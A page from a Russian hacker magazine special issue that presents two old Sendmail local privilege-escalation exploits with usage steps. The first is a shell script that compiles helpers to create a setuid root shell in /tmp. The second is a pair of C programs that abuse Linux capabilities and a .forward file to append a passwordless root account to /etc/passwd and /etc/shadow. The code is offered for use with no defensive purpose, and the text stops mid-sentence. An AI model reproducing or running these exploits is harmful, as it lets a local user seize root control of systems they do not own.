ЖУРНАЛ ХАКЕР

Дуршлаг в Sendmail

Спецвыпуск Хакера, номер #007, стр. 007-040-3


# ---------------------------------------------

# ----------------- Dedicated to my beautiful lady ------------------

# ---------------------------------------------

# ----------------------

#

# Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su

#

#

#

echo 'main() '>>leshka.c

echo '{ '>>leshka.c

echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c

echo '} '>>leshka.c

#

#

echo 'main() '>>smtpd.c

echo '{ '>>smtpd.c

echo ' setuid(0); setgid(0); '>>smtpd.c

echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c

echo '} '>>smtpd.c

#

#

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c

./leshka

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"

"\n"|head -n 1`

rm leshka.c leshka smtpd.c /tmp/smtpd

echo "Now type: /tmp/sh"

Как ты видишь, это - шелл скрипт. Вот и сохрани его как s.sh и сделай его

запускаемым (то бишь chmod 700 s.sh). Не вдаваясь в подробности, скажу, что

этот скрипт создает шелл /tmp/sh, запустив который, хацкер может познать

безграничные возможности рута на машине ;).

Плюсы: Легкость в использовании.

Минусы: Баг и версия демона достаточно стары (если учитывать то, что

последняя версия сендмайла - 8.11.2). Нужно иметь юзверские права на ломаемой

машине.

Баг нумбер четыре - каждой пырке по тырке

Версия демона: практически любая (ограничения накладываются лишь на версию

самой оси).

Опись: дело в том, что любой демон в *nix системах обладает правами рута (т.е. их uid/gid == 0). Все это относится и к сендмайлу.

Гыгыгыгы...

Код эксплоита (Файло ex.c):

#include <linux/capability.h>

int main (void) {

cap_user_header_t header;

cap_user_data_t data;

header = malloc(8);

data = malloc(12);

header->pid = 0;

header->version = _LINUX_CAPABILITY_VERSION;

data->inheritable = data->effective = data->permitted = 0;

capset(header, data);

execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);

}

Файло add.c:

#include <fcntl.h>

int main (void) {

int fd;

char string[40];

seteuid(0);

fd = open("/etc/passwd", O_APPEND|O_WRONLY);

strcpy(string, "shlynx:x:0:0::/root:/bin/sh\n");

write(fd, string, strlen(string));

close(fd);

fd = open("/etc/shadow", O_APPEND|O_WRONLY);

strcpy(string, "shlynx::11029:0:99999:7:::");

write(fd, string, strlen(string));

close(fd);

}

Пример:

Во-первых, не забудь закомпилить эксплоит ;). Создай файло "mail" и впиши туда следующее (без кавычек):

"From: <shlynx@edet_v_m.org>

To: <nadeyus@ya_skoro_um.ru>

Subject: Галлон отстоя ему в ухо!

Ну. Э!

.

"

Теперь создай файл ".forward" со следующим содержанием:

"|/path/to/add" - путь к файлу add.

И, наконец, выполни команду "./ex < mail".

После успешного выполнения у тебя должен появиться новый юзверь shlynx без

Назад на стр. 007-040-2  Содержание  Вперед на стр. 007-040-4